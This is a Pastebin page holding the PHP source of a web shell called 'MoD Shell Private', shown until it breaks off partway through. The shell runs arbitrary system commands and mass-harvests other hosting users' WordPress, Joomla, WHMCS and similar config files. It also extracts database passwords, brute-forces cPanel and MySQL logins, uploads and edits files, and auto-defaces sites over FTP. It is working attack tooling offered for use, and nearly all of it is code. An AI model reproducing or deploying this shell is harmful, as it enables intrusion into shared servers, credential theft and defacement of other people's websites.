API tools faq
paste
Guest User

aa

a guest
Aug 18th, 2017
81
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.00 KB | None | 0 0
raw download clone embed print report
  1. <html>
  2. <head>
  3. <title>Master Of Deception</title>
  4. <meta name='author' content='Master Of Deception'>
  5. <meta charset="UTF-8">
  6. <style type="text/css">
  7.  
  8.  
  9. .main {
  10. margin : -287px 0px 0px -490px;
  11. border : White solid 1px;
  12. BORDER-COLOR: #00FF00;
  13. }
  14.  
  15.  
  16. #pie {
  17. position: absolute;
  18. bottom: 0;
  19. }
  20.  
  21. body,a:link {
  22. background-color: #000000;
  23. color:#00FF00;
  24. Courier New;
  25. cursor:crosshair;
  26. font-size: small;
  27. }
  28.  
  29. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  30. font: normal 10px Verdana, Arial, Helvetica,
  31. sans-serif;
  32. background-color:black;color:#00FF00;
  33. border: solid 1px #00FF00;
  34. border-color:#00FF00
  35. }
  36.  
  37. a:link,a:visited,a:active {
  38. color: #00FF00;
  39. font: normal 10px Verdana, Arial, Helvetica,
  40. sans-serif;
  41. text-decoration: none;
  42. }
  43.  
  44. </style>
  45. </head>
  46. <table><center>
  47. <th>MoD Shell Private<br>Fist Edition </th>
  48. <?php
  49. ###############################################################################
  50. // Master Of Decaption
  51. // Shell Ini Bersifat Private
  52. // Jangan Sembarang Copas
  53. // Code By Master Of Deception
  54. ###############################################################################
  55. function w($dir,$perm) {
  56. if(!is_writable($dir)) {
  57. return "<font color=red>".$perm."</font>";
  58. } else {
  59. return "<font color=lime>".$perm."</font>";
  60. }
  61. }
  62. function r($dir,$perm) {
  63. if(!is_readable($dir)) {
  64. return "<font color=red>".$perm."</font>";
  65. } else {
  66. return "<font color=lime>".$perm."</font>";
  67. }
  68. }
  69. function exe($cmd) {
  70. if(function_exists('system')) {
  71. @ob_start();
  72. @system($cmd);
  73. $buff = @ob_get_contents();
  74. @ob_end_clean();
  75. return $buff;
  76. } elseif(function_exists('exec')) {
  77. @exec($cmd,$results);
  78. $buff = "";
  79. foreach($results as $result) {
  80. $buff .= $result;
  81. } return $buff;
  82. } elseif(function_exists('passthru')) {
  83. @ob_start();
  84. @passthru($cmd);
  85. $buff = @ob_get_contents();
  86. @ob_end_clean();
  87. return $buff;
  88. } elseif(function_exists('shell_exec')) {
  89. $buff = @shell_exec($cmd);
  90. return $buff;
  91. }
  92. }
  93. function perms($file){
  94. $perms = fileperms($file);
  95. if (($perms & 0xC000) == 0xC000) {
  96. // Socket
  97. $info = 's';
  98. } elseif (($perms & 0xA000) == 0xA000) {
  99. // Symbolic Link
  100. $info = 'l';
  101. } elseif (($perms & 0x8000) == 0x8000) {
  102. // Regular
  103. $info = '-';
  104. } elseif (($perms & 0x6000) == 0x6000) {
  105. // Block special
  106. $info = 'b';
  107. } elseif (($perms & 0x4000) == 0x4000) {
  108. // Directory
  109. $info = 'd';
  110. } elseif (($perms & 0x2000) == 0x2000) {
  111. // Character special
  112. $info = 'c';
  113. } elseif (($perms & 0x1000) == 0x1000) {
  114. // FIFO pipe
  115. $info = 'p';
  116. } else {
  117. // Unknown
  118. $info = 'u';
  119. }
  120. // Owner
  121. $info .= (($perms & 0x0100) ? 'r' : '-');
  122. $info .= (($perms & 0x0080) ? 'w' : '-');
  123. $info .= (($perms & 0x0040) ?
  124. (($perms & 0x0800) ? 's' : 'x' ) :
  125. (($perms & 0x0800) ? 'S' : '-'));
  126. // Group
  127. $info .= (($perms & 0x0020) ? 'r' : '-');
  128. $info .= (($perms & 0x0010) ? 'w' : '-');
  129. $info .= (($perms & 0x0008) ?
  130. (($perms & 0x0400) ? 's' : 'x' ) :
  131. (($perms & 0x0400) ? 'S' : '-'));
  132. // World
  133. $info .= (($perms & 0x0004) ? 'r' : '-');
  134. $info .= (($perms & 0x0002) ? 'w' : '-');
  135. $info .= (($perms & 0x0001) ?
  136. (($perms & 0x0200) ? 't' : 'x' ) :
  137. (($perms & 0x0200) ? 'T' : '-'));
  138. return $info;
  139. }
  140. function hdd($s) {
  141. if($s >= 1073741824)
  142. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  143. elseif($s >= 1048576)
  144. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  145. elseif($s >= 1024)
  146. return sprintf('%1.2f',$s / 1024 ) .' KB';
  147. else
  148. return $s .' B';
  149. }
  150. function ambilKata($param, $kata1, $kata2){
  151. if(strpos($param, $kata1) === FALSE) return FALSE;
  152. if(strpos($param, $kata2) === FALSE) return FALSE;
  153. $start = strpos($param, $kata1) + strlen($kata1);
  154. $end = strpos($param, $kata2, $start);
  155. $return = substr($param, $start, $end - $start);
  156. return $return;
  157. }
  158. if(get_magic_quotes_gpc()) {
  159. function idx_ss($array) {
  160. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  161. }
  162. $_POST = idx_ss($_POST);
  163. }
  164.  
  165. error_reporting(0);
  166. @ini_set('error_log',NULL);
  167. @ini_set('log_errors',0);
  168. @ini_set('max_execution_time',0);
  169. @set_time_limit(0);
  170. @set_magic_quotes_runtime(0);
  171. if(isset($_GET['dir'])) {
  172. $dir = $_GET['dir'];
  173. chdir($dir);
  174. } else {
  175. $dir = getcwd();
  176. }
  177. $dir = str_replace("\\","/",$dir);
  178. $scdir = explode("/", $dir);
  179. $freespace = hdd(disk_free_space("/"));
  180. $total = hdd(disk_total_space("/"));
  181. $used = $total - $freespace;
  182. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  183. $ds = @ini_get("disable_functions");
  184. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  185. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  186. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  187. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  188. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  189. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  190. if(!function_exists('posix_getegid')) {
  191. $user = @get_current_user();
  192. $uid = @getmyuid();
  193. $gid = @getmygid();
  194. $group = "?";
  195. } else {
  196. $uid = @posix_getpwuid(posix_geteuid());
  197. $gid = @posix_getgrgid(posix_getegid());
  198. $user = $uid['name'];
  199. $uid = $uid['uid'];
  200. $group = $gid['name'];
  201. $gid = $gid['gid'];
  202. }
  203. echo "<td>System: <font color=lime>".php_uname()."</font><br>";
  204. echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
  205. echo "Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
  206. echo "HDD: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
  207. echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br></td></table><br>";
  208. echo "Current DIR: ";
  209. foreach($scdir as $c_dir => $cdir) {
  210. echo "<a href='?dir=";
  211. for($i = 0; $i <= $c_dir; $i++) {
  212. echo $scdir[$i];
  213. if($i != $c_dir) {
  214. echo "/";
  215. }
  216. }
  217. echo "'>$cdir</a>/";
  218. }
  219. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
  220. echo "<hr>";
  221. echo "<center>";
  222. echo "<table>";
  223. echo "<table>";
  224. echo "<td>{{ <a href='?'>Home</a>}}</td>";
  225. echo "<td>{{ <a href='?dir=$dir&do=upload'>Upload</a>}}</td>";
  226. echo "<td>{{ <a href='?dir=$dir&do=config'>Config</a>}}</td>";
  227. echo "<td>{{ <a href='?dir=$dir&do=jumping'>Jumping</a>}}</td>";
  228. echo "<td>{{ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a>}}</td>";
  229. echo "<td>{{ <a href='?dir=$dir&do=fake_root'>Fake Root</a>}}</td>";
  230. echo "<td>{{ <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a>}}</td>";
  231. echo "</table>";
  232. echo "</center>";
  233. echo "<hr>";
  234. if($_GET['do'] == 'upload') {
  235. echo "<center>";
  236. if($_POST['upload']) {
  237. if($_POST['tipe_upload'] == 'biasa') {
  238. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  239. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  240. } else {
  241. $act = "<font color=red>failed to upload file</font>";
  242. }
  243. } else {
  244. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  245. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  246. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  247. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  248. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  249. } else {
  250. $act = "<font color=red>failed to upload file</font>";
  251. }
  252. } else {
  253. $act = "<font color=red>failed to upload file</font>";
  254. }
  255. }
  256. }
  257. echo "Upload File:
  258. <form method='post' enctype='multipart/form-data'>
  259. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  260. <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  261. <input type='file' name='ix_file'>
  262. <input type='submit' value='upload' name='upload'>
  263. </form>";
  264. echo $act;
  265. echo "</center>";
  266. } elseif($_GET['do'] == 'config') {
  267. $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
  268. $idx = mkdir("idx_config", 0777);
  269. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  270. $htc = fopen("idx_config/.htaccess","w");
  271. fwrite($htc, $isi_htc);
  272. while($passwd = fgets($etc)) {
  273. if($passwd == "" || !$etc) {
  274. echo "<font color=red>Can't read /etc/passwd</font>";
  275. } else {
  276. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  277. foreach($user_config[1] as $user_idx) {
  278. $user_config_dir = "/home/$user_idx/public_html/";
  279. if(is_readable($user_config_dir)) {
  280. $grab_config = array(
  281. "/home/$user_idx/.my.cnf" => "cpanel",
  282. "/home/$user_idx/.accesshash" => "WHM-accesshash",
  283. "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
  284. "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
  285. "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
  286. "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  287. "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
  288. "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
  289. "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
  290. "/home/$user_idx/public_html/forum/config.php" => "phpBB",
  291. "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
  292. "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
  293. "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
  294. "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
  295. "/home/$user_idx/public_html/configuration.php" => "Joomla",
  296. "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
  297. "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
  298. "/home/$user_idx/public_html/wp-config.php" => "WordPress",
  299. "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
  300. "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
  301. "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
  302. foreach($grab_config as $config => $nama_config) {
  303. $ambil_config = file_get_contents($config);
  304. if($ambil_config == '') {
  305. } else {
  306. $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
  307. fputs($file_config,$ambil_config);
  308. }
  309. }
  310. }
  311. }
  312. }
  313. }
  314. echo "<center><a href='?dir=$dir/idx_config'><font color=lime>Done</font></a></center>";
  315. } elseif($_GET['do'] == 'jumping') {
  316. $i = 0;
  317. echo "<pre><div class='margin: 5px auto;'>";
  318. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  319. while($passwd = fgets($etc)) {
  320. if($passwd == '' || !$etc) {
  321. echo "<font color=red>Can't read /etc/passwd</font>";
  322. } else {
  323. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  324. foreach($user_jumping[1] as $user_idx_jump) {
  325. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  326. if(is_readable($user_jumping_dir)) {
  327. $i++;
  328. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  329. if(is_writable($user_jumping_dir)) {
  330. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  331. }
  332. echo $jrw;
  333. if(function_exists('posix_getpwuid')) {
  334. $domain_jump = file_get_contents("/etc/named.conf");
  335. if($domain_jump == '') {
  336. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  337. } else {
  338. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  339. foreach($domains_jump[1] as $dj) {
  340. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  341. $user_jumping_url = $user_jumping_url['name'];
  342. if($user_jumping_url == $user_idx_jump) {
  343. echo " => ( <u>$dj</u> )<br>";
  344. break;
  345. }
  346. }
  347. }
  348. } else {
  349. echo "<br>";
  350. }
  351. }
  352. }
  353. }
  354. }
  355. if($i == 0) {
  356. } else {
  357. echo "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  358. }
  359. echo "</div></pre>";
  360. } elseif($_GET['do'] == 'cpanel') {
  361. if($_POST['crack']) {
  362. $usercp = explode("\r\n", $_POST['user_cp']);
  363. $passcp = explode("\r\n", $_POST['pass_cp']);
  364. $i = 0;
  365. foreach($usercp as $ucp) {
  366. foreach($passcp as $pcp) {
  367. if(@mysql_connect('localhost', $ucp, $pcp)) {
  368. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  369. } else {
  370. $_SESSION[$ucp] = "1";
  371. $_SESSION[$pcp] = "1";
  372. if($ucp == '' || $pcp == '') {
  373.  
  374. } else {
  375. $i++;
  376. if(function_exists('posix_getpwuid')) {
  377. $domain_cp = file_get_contents("/etc/named.conf");
  378. if($domain_cp == '') {
  379. $dom = "<font color=red>gabisa ambil nama domain nya</font>";
  380. } else {
  381. preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  382. foreach($domains_cp[1] as $dj) {
  383. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  384. $user_cp_url = $user_cp_url['name'];
  385. if($user_cp_url == $ucp) {
  386. $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
  387. break;
  388. }
  389. }
  390. }
  391. } else {
  392. $dom = "<font color=red>function is Disable by system</font>";
  393. }
  394. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
  395. }
  396. }
  397. }
  398. }
  399. }
  400. if($i == 0) {
  401. } else {
  402. echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>Master Of Deception.</font>";
  403. }
  404. } else {
  405. echo "<center>
  406. <form method='post'>
  407. USER: <br>
  408. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  409. $_usercp = fopen("/etc/passwd","r");
  410. while($getu = fgets($_usercp)) {
  411. if($getu == '' || !$_usercp) {
  412. echo "<font color=red>Can't read /etc/passwd</font>";
  413. } else {
  414. preg_match_all("/(.*?):x:/", $getu, $u);
  415. foreach($u[1] as $user_cp) {
  416. if(is_dir("/home/$user_cp/public_html")) {
  417. echo "$user_cp\n";
  418. }
  419. }
  420. }
  421. }
  422. echo "</textarea><br>
  423. PASS: <br>
  424. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  425. function cp_pass($dir) {
  426. $pass = "";
  427. $dira = scandir($dir);
  428. foreach($dira as $dirb) {
  429. if(!is_file("$dir/$dirb")) continue;
  430. $ambil = file_get_contents("$dir/$dirb");
  431. if(preg_match("/WordPress/", $ambil)) {
  432. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  433. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  434. $pass .= ambilkata($ambil,"password = '","'")."\n";
  435. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  436. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  437. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  438. $pass .= ambilkata($ambil,'password = "','"')."\n";
  439. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  440. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  441. } elseif(preg_match("/client/", $ambil)) {
  442. preg_match("/password=(.*)/", $ambil, $pass1);
  443. if(preg_match('/"/', $pass1[1])) {
  444. $pass1[1] = str_replace('"', "", $pass1[1]);
  445. $pass .= $pass1[1]."\n";
  446. }
  447. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  448. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  449. }
  450. }
  451. echo $pass;
  452. }
  453. $cp_pass = cp_pass($dir);
  454. echo $cp_pass;
  455. echo "</textarea><br>
  456. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  457. </form>
  458. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  459. }
  460.  
  461. } elseif($_GET['do'] == 'fake_root') {
  462. ob_start();
  463. function reverse($url) {
  464. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  465. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  466. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  467. curl_setopt($ch, CURLOPT_HEADER, 0);
  468. curl_setopt($ch, CURLOPT_POST, 1);
  469. $resp = curl_exec($ch);
  470. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  471. $array = explode(",,", $resp);
  472. unset($array[0]);
  473. foreach($array as $lnk) {
  474. $lnk = "http://$lnk";
  475. $lnk = str_replace(",", "", $lnk);
  476. echo $lnk."\n";
  477. ob_flush();
  478. flush();
  479. }
  480. curl_close($ch);
  481. }
  482. function cek($url) {
  483. $ch = curl_init($url);
  484. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  485. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  486. $resp = curl_exec($ch);
  487. return $resp;
  488. }
  489. $cwd = getcwd();
  490. $ambil_user = explode("/", $cwd);
  491. $user = $ambil_user[2];
  492. if($_POST['reverse']) {
  493. $site = explode("\r\n", $_POST['url']);
  494. $file = $_POST['file'];
  495. foreach($site as $url) {
  496. $cek = cek("$url/~$user/$file");
  497. if(preg_match("/hacked/i", $cek)) {
  498. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  499. }
  500. }
  501. } else {
  502. echo "<center><form method='post'>
  503. Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  504. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  505. Domain: <br>
  506. <textarea style='width: 450px; height: 250px;' name='url'>";
  507. reverse($_SERVER['HTTP_HOST']);
  508. echo "</textarea><br>
  509. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  510. </form><br>
  511. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  512. }
  513. } elseif($_GET['do'] == 'cpftp_auto') {
  514. if($_POST['crack']) {
  515. $usercp = explode("\r\n", $_POST['user_cp']);
  516. $passcp = explode("\r\n", $_POST['pass_cp']);
  517. $i = 0;
  518. foreach($usercp as $ucp) {
  519. foreach($passcp as $pcp) {
  520. if(@mysql_connect('localhost', $ucp, $pcp)) {
  521. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  522. } else {
  523. $_SESSION[$ucp] = "1";
  524. $_SESSION[$pcp] = "1";
  525. if($ucp == '' || $pcp == '') {
  526. //
  527. } else {
  528. echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  529. $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
  530. $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  531. if((!$ftp_login) || (!$ftp_conn)) {
  532. echo "[+] <font color=red>Login Gagal</font><br><br>";
  533. } else {
  534. echo "[+] <font color=lime>Login Sukses</font><br>";
  535. $fi = htmlspecialchars($_POST['file_deface']);
  536. $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  537. if($deface) {
  538. $i++;
  539. echo "[+] <font color=lime>Deface Sukses</font><br>";
  540. if(function_exists('posix_getpwuid')) {
  541. $domain_cp = file_get_contents("/etc/named.conf");
  542. if($domain_cp == '') {
  543. echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  544. } else {
  545. preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  546. foreach($domains_cp[1] as $dj) {
  547. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  548. $user_cp_url = $user_cp_url['name'];
  549. if($user_cp_url == $ucp) {
  550. echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  551. break;
  552. }
  553. }
  554. }
  555. } else {
  556. echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  557. }
  558. } else {
  559. echo "[-] <font color=red>Deface Gagal</font><br><br>";
  560. }
  561. }
  562. //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  563. }
  564. }
  565. }
  566. }
  567. }
  568. if($i == 0) {
  569. } else {
  570. echo "<br>sukses deface ".$i." Cpanel by <font color=lime>Master Of Deception.</font>";
  571. }
  572. } else {
  573. echo "<center>
  574. <form method='post'>
  575. Filename: <br>
  576. <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  577. Deface Page: <br>
  578. <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
  579. USER: <br>
  580. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  581. $_usercp = fopen("/etc/passwd","r");
  582. while($getu = fgets($_usercp)) {
  583. if($getu == '' || !$_usercp) {
  584. echo "<font color=red>Can't read /etc/passwd</font>";
  585. } else {
  586. preg_match_all("/(.*?):x:/", $getu, $u);
  587. foreach($u[1] as $user_cp) {
  588. if(is_dir("/home/$user_cp/public_html")) {
  589. echo "$user_cp\n";
  590. }
  591. }
  592. }
  593. }
  594. echo "</textarea><br>
  595. PASS: <br>
  596. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  597. function cp_pass($dir) {
  598. $pass = "";
  599. $dira = scandir($dir);
  600. foreach($dira as $dirb) {
  601. if(!is_file("$dir/$dirb")) continue;
  602. $ambil = file_get_contents("$dir/$dirb");
  603. if(preg_match("/WordPress/", $ambil)) {
  604. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  605. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  606. $pass .= ambilkata($ambil,"password = '","'")."\n";
  607. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  608. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  609. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  610. $pass .= ambilkata($ambil,'password = "','"')."\n";
  611. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  612. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  613. } elseif(preg_match("/client/", $ambil)) {
  614. preg_match("/password=(.*)/", $ambil, $pass1);
  615. if(preg_match('/"/', $pass1[1])) {
  616. $pass1[1] = str_replace('"', "", $pass1[1]);
  617. $pass .= $pass1[1]."\n";
  618. }
  619. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  620. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  621. }
  622. }
  623. echo $pass;
  624. }
  625. $cp_pass = cp_pass($dir);
  626. echo $cp_pass;
  627. echo "</textarea><br>
  628. <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  629. </form>
  630. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  631. }
  632. } elseif($_GET['act'] == 'newfile') {
  633. if($_POST['new_save_file']) {
  634. $newfile = htmlspecialchars($_POST['newfile']);
  635. $fopen = fopen($newfile, "a+");
  636. if($fopen) {
  637. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  638. } else {
  639. $act = "<font color=red>permission denied</font>";
  640. }
  641. }
  642. echo $act;
  643. echo "<form method='post'>
  644. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  645. <input type='submit' name='new_save_file' value='Submit'>
  646. </form>";
  647. } elseif($_GET['act'] == 'newfolder') {
  648. if($_POST['new_save_folder']) {
  649. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  650. if(!mkdir($new_folder)) {
  651. $act = "<font color=red>permission denied</font>";
  652. } else {
  653. $act = "<script>window.location='?dir=".$dir."';</script>";
  654. }
  655. }
  656. echo $act;
  657. echo "<form method='post'>
  658. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  659. <input type='submit' name='new_save_folder' value='Submit'>
  660. </form>";
  661. } elseif($_GET['act'] == 'rename_dir') {
  662. if($_POST['dir_rename']) {
  663. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  664. if($dir_rename) {
  665. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  666. } else {
  667. $act = "<font color=red>permission denied</font>";
  668. }
  669. echo "".$act."<br>";
  670. }
  671. echo "<form method='post'>
  672. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  673. <input type='submit' name='dir_rename' value='rename'>
  674. </form>";
  675. } elseif($_GET['act'] == 'delete_dir') {
  676. $delete_dir = rmdir($dir);
  677. if($delete_dir) {
  678. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  679. } else {
  680. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  681. }
  682. echo $act;
  683. } elseif($_GET['act'] == 'view') {
  684. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  685. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  686. } elseif($_GET['act'] == 'edit') {
  687. if($_POST['save']) {
  688. $save = file_put_contents($_GET['file'], $_POST['src']);
  689. if($save) {
  690. $act = "<font color=lime>Saved!</font>";
  691. } else {
  692. $act = "<font color=red>permission denied</font>";
  693. }
  694. echo "".$act."<br>";
  695. }
  696. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  697. echo "<form method='post'>
  698. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  699. <input type='submit' value='Save' name='save' style='width: 500px;'>
  700. </form>";
  701. } elseif($_GET['act'] == 'rename') {
  702. if($_POST['do_rename']) {
  703. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  704. if($rename) {
  705. $act = "<script>window.location='?dir=".$dir."';</script>";
  706. } else {
  707. $act = "<font color=red>permission denied</font>";
  708. }
  709. echo "".$act."<br>";
  710. }
